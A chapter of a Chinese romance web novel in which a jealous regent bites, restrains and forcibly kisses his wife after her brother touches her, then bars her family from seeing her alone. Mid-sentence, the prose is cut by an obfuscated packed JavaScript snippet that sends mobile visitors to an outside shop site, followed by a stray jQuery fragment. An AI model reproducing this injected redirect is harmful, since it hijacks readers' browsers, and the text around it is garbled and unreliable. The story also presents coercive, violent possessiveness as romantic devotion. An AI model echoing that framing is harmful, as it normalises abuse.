冷行舟的身影刚转过游廊拐角,凝梅院西侧假山石后,玄色衣摆遽然一动。
权峥凛抬手按紧身侧影卫凌刀的肩头,指节用力到泛白,将人死死按住石缝间,不准发出声响。
他方才被朝中急件请走,处理完毕便立刻折返凝梅院,未想刚至院外,便撞见冷行舟入府。
权峥凛压下所有脚步,隐匿假山暗处,本想探查冷家人的来意,却将屋内兄妹二人动作尽收眼底。
窗纸残缝透出院内余像,将两道人影显现清晰。
权峥凛攥紧墨玉扳指,指腹狠狠碾过玉面纹路,墨眸死死黏着窗间人影,周身气息一寸寸冷下去。
他亲眼看见冷行舟俯身探冷雪梅额头,看见冷行舟伸手扶住冷雪梅肩头,看见两人指尖相触、手腕相握。
尤其刺目的是,冷行舟将冷雪梅的双手合入掌心反复揉搓,又抬手拂开她鬓边碎发,指尖轻点她眉心的举止。
每一个动作都是淬了毒的针,狠狠扎进权峥凛眼底,扎碎他所有理智。
体内本命火诀疯狂翻涌,至阳气息化作暴戾怒意,席卷周身。
权峥凛喉间滚出一声低沉闷响,下颌线绷得死紧,眼底猩红翻涌着占有与醋意,偏执到近乎疯狂。
他从不知自己会因旁人触碰冷雪梅,失控到这般地步。
冷雪梅是他的人,是他锁在凝梅院、护在掌心的人,指尖、肩头、鬓发,全身上下,只能由他触碰,半分都不能分给旁人,哪怕是她的亲兄长。
凌刀伏于地上,浑身发抖,不敢抬头看摄政王失控的模样,只能死死屏住呼吸,蹙眉难受,暗想:王爷手劲真大,刚刚肩头真是受了无妄之灾。
权峥凛一动不动地藏匿假山后,指背青筋暴起,目光死死盯着院内,直到看见冷行舟为冷雪梅披上披风,看见两人并肩走到门口,看见冷行舟转身离去后,他才缓缓松开攥紧的拳头,指腹掐出的血痕深嵌进掌心。
待冷行舟彻底踏出王府大门,权峥凛猛地甩开身侧凌刀,玄色锦袍带起一阵劲风,大步踏向凝梅院。
靴底碾过青石板,声响沉重又暴戾,院外值守的侍卫尽数跪地,无人敢拦。
西翠刚回身,便看见权峥凛黑着脸闯入院内,周身戾气骇人,吓得立刻屈膝跪地,头抵着地面不敢动弹。
权峥凛看都未看她,一脚踹开内室房门,门板撞着墙壁,发出轰然巨响。
冷雪梅正靠着暖榻闭目调息,被这声响惊得睁眼,指尖攥紧锦褥。
入目便是权峥凛猩红墨眸,他周身裹挟着刺骨寒意,大步冲到暖榻前,居高临下盯着她,周身戾气要将人尽数吞噬。
冷雪梅撑着榻沿坐直,指尖微顿,尚未开口,手腕便被权峥凛全力攥住。
他力道极大,指腹死死扣住她腕骨,差点要捏碎她的骨头。
权峥凛俯身逼近,灼热又暴戾的呼吸扑向她脸颊,喉结反复滚动,声音沙哑得淬着怒意。
“刚才,冷行舟碰你哪里了?”
冷雪梅蹙眉,用力抽回手腕,却被他攥得更紧。
“那是我兄长,入府探望,礼节而已。”
“兄长?”权峥凛低声重复这两个字,加重力道,将她从暖榻上拽起身,按在自己身前,“兄长便能摸你的额头?碰你的肩头?握你的手?还敢碰你的眉心?”
他每说一句便逼近一分,两人胸膛相贴,他身上的龙涎香混着暴戾气息,压得冷雪梅喘不过气。
权峥凛垂眸死死盯着她被冷行舟握过的手腕,指尖狠狠摩挲那一片肌肤,像是要把旁人触碰过的痕迹全部磨掉。
他低头张口在她腕间咬下一口,齿痕深嵌,留下清晰红印。
冷雪梅吃痛,闷哼一声,挣扎道:“权峥凛!你放开!那是我亲兄长,兄妹之间,何来逾越?”
“亲兄长也不行。”权峥凛抬眸,猩红眼底尽露偏执占有,“你是本王的王妃,是本王的人。从发丝到指尖,从肩头到腕间,全身上下,只能本王碰,旁人半分都不能沾。”
权峥凛抬手狠狠拂开冷雪梅鬓边碎发,举止粗暴,与方才冷行舟的温柔截然不同。
他指尖按着她的眉心,用力碾过,疯狂语气:“他碰过的地方,本王要全部盖过去。他握过的手,本王要攥到你只记得本王的温度。”
冷雪梅错愕地看着他失控的模样,从未见过这般不讲理的权峥凛。
她用力挣扎,肩头撞着他的胸膛,却被他反手扣住腰肢,死死按住怀中,禁锢得动弹不得。
“权峥凛,你讲点道理。”冷雪梅无奈,腕间疼痛传来,让她眉心紧蹙,“兄长入府,是父亲派来叮嘱家族安危,商议朝堂布局,并非你想的那般龌龊。”
“龌龊?”权峥凛冷笑,俯身咬住她唇角,力道带着怒意,又舍不得真的伤她,只狠狠碾过,“本王不准任何男人碰你,哪怕冷行舟,哪怕冷太傅。本王眼里,碰你的人,都该死。”
他抬手将冷雪梅的双手高举过头顶,按在墙壁上,俯身低头,唇瓣疯狂地落向她的额头、眉心、脸颊、唇角,每一处被冷行舟触碰过的地方,都被他反复亲吻、啃咬,留下属于他的痕迹。
冷雪梅被迫仰头,肩头绷紧,错愕与无奈交织,只能任由他发泄偏执的醋意。
她清晰感受到他紧绷的身体,感受到他心底的疯狂,感受到他那股压过理智的占有欲。
权峥凛的唇瓣停滞她的颈侧,狠狠咬下一口,留下暗红齿痕。
他松开她的手腕,转而揽住她的腰,将她死死按入自己怀中,下巴抵着她的肩窝,呼吸粗重。
“本王在金銮殿为你与帝王对峙,为你挡下削权杀局,为你以本命火压制寒毒,为你疯魔护短,你却让别的男人碰你。”权峥凛委屈语声,又带着暴怒,“冷雪梅,你是不是忘了,你是谁的人。”
冷雪梅缓过劲,抬手推他的胸膛,指尖用力:“我从未忘,可兄长是冷家嫡子,是我在朝堂最坚实的助力,你这般不分青红皂白暴怒,只会坏了布局。”
“布局?”权峥凛抬眸,猩红眼底,满不在意,“什么布局,什么朝堂,什么冷家,在本王眼里,都不如你一根发丝重要。谁敢碰你,本王便杀谁,管他是冷行舟,还是老皇帝。”
他抬手捏住冷雪梅下颌,强迫她看向自己,墨眸死死锁住她的眼:“本王再看见冷行舟碰你一下,本王立刻便将他调离京城,发配边疆,永生不准他再踏回京畿一步。”
冷雪梅看着他失控到不讲理的模样,心底无奈,又清晰地察觉到权峥凛对她的在意早已压过理智,他的情绪,只需她与旁人一丝半分的接触,便能被轻易挑拨,瞬间疯魔。
这是朝堂之上最致命的弱点,也是她最无法掌控的变数。
权峥凛见她不说话,以为她还在维护冷行舟,怒意更盛,他俯身再次吻上她的唇,力道粗暴又偏执,唇齿交缠,带着未散的醋意与占有欲,恨不得将她揉进自己骨血里。
冷雪梅被迫承受,指尖蜷缩,抵着他的胸膛,推却不开分毫。
直到她呼吸不畅,脸颊泛红,权峥凛才缓缓松开她,额头抵着她的额头,粗重呼吸交缠持续,他抬手轻轻抚摸她被吻得红肿的唇角,又变得温柔起来,与方才的暴戾判若两人。
“不准再让他碰你。”权峥凛低声重复,执拗道:“不准再对他笑,不准再与他独处,不准再与他说半句多余的话。冷雪梅,你只能是本王的。”
冷雪梅喘着气,看着他眼底未散的猩红,无奈地闭上眼,再睁开时,独剩清冷:“他是我兄长,血脉至亲,有些接触
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722921|208753||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,避无可避。”
“避无可避,便让他永远不见你。”权峥凛决绝口吻,转身走到门口,对着院外厉声吩咐:“传本王令,往后冷家人入府,必须有本王在场,不准冷行舟单独见王妃,不准任何冷家男子靠近王妃三步之内。”
院外影卫躬身领命,声音清晰传入屋内。
冷雪梅扶着榻沿坐下,揉着被攥红的腕间,看着权峥凛偏执的背影,满心无奈,她从未想过一场再正常不过的兄妹探望,会引来权峥凛这般疯狂的吃醋与暴怒。
权峥凛回身,大步走到她面前,蹲下身握住她被攥红的手腕,指尖轻轻摩挲着上面的红痕,又低头轻轻吻了吻齿痕,温柔得能滴出水。
“疼吗?”他声音放软,眼底猩红褪去,只剩心疼与偏执,“本王并非要故意捏疼你,只是看见他碰你,本王控制不住。”
冷雪梅抽回手,淡淡开口:“殿下理智些,冷家是我在朝堂的助力,兄长是父亲选定的文臣核心,你若对兄长动手,只会让冷家与你离心,让老皇帝坐收渔利。”
权峥凛俯身,将脸埋入她的膝头,玄色发丝散落,蹭过她的裙摆。
此刻的他,就像一只偏执的兽,紧紧贴着她,声音低沉:“本王不管什么离心,不管什么渔利,本王只要你。只要你好好待在本王身边,不准任何人碰,不准任何人抢。”
权峥凛抬手环住她的腰肢,将脸埋得更深,呼吸间全是她身上的梅香,方才假山后看到的画面,刺得他眼底发疼。
冷雪梅僵着身子,抬手悬住半空,最终还是轻轻落向他的发顶,指尖微微一顿,又快速收回。
她清楚权峥凛的占有欲已经疯魔,对她的在意早已压过所有谋略算计,他情绪极易被挑拨,一点风吹草动,便能让他失控暴怒。
这是她的机会,也是她的隐患。
权峥凛抱了她许久后,缓缓起身,坐在她身侧,伸手将她揽入怀中,紧紧抱着,不准她有半分挣脱。
他指尖反复摩挲她发丝,吻着她发顶,说话间,尽显执拗的安抚。
“往后,本王陪着你见冷家人,本王盯着,不准任何人碰你。冷行舟再来,本王坐在一旁,他敢碰你一下,本王当场废了他的手。”
冷雪梅靠入他怀中,闭目轻叹,不再争辩,她知道此刻的权峥凛已然听不进任何道理,他的理智被占有欲吞噬,他的情绪被她牵动,他对她的在意早已凌驾于所有谋略、所有局势之上。
西翠端着汤药走进屋内,看见两人相拥的模样,又瞥见冷雪梅腕间、颈间红痕,吓得立刻低下头将汤药放置小几,悄声退了出去。
权峥凛拿起汤药舀起一勺吹凉,递到冷雪梅唇边,这一次,他没有强制粗暴,就小心翼翼地喂着,指尖时不时擦过她的唇角,温柔又偏执。
冷雪梅张口喝下,苦涩汤药漫入口中,心底五味杂陈。
她看着眼前这个为她吃醋、为她暴怒、为她失控的男人,清楚地知道,权峥凛已经彻底陷进去了,他对她的在意压过了理智,压过了谋略,压过了所有朝堂算计。
而这,会成为老皇帝挑拨离间的最好把柄,也会成为她破局路上,最无法掌控的变数。
权峥凛喂完汤药,用锦帕擦净她的唇角,将她紧紧抱住怀中,靠在暖榻上,一动不动地守着她。
他的指尖始终握着她的手,反复揉搓,像是在宣示所有权,又像是在安抚自己心底的偏执。
窗外夜色渐浓,凝梅院内暖意融融,弥漫着一股紧绷的气息。
权峥凛闭上眼,脑海中反复闪过冷行舟触碰冷雪梅的画面,怒意一次次翻涌,又一次次被怀中的温度压下。
他死死抱着怀中人,心底只有一个念头,冷雪梅是他的,谁也不能碰,谁也不能抢,谁碰谁死。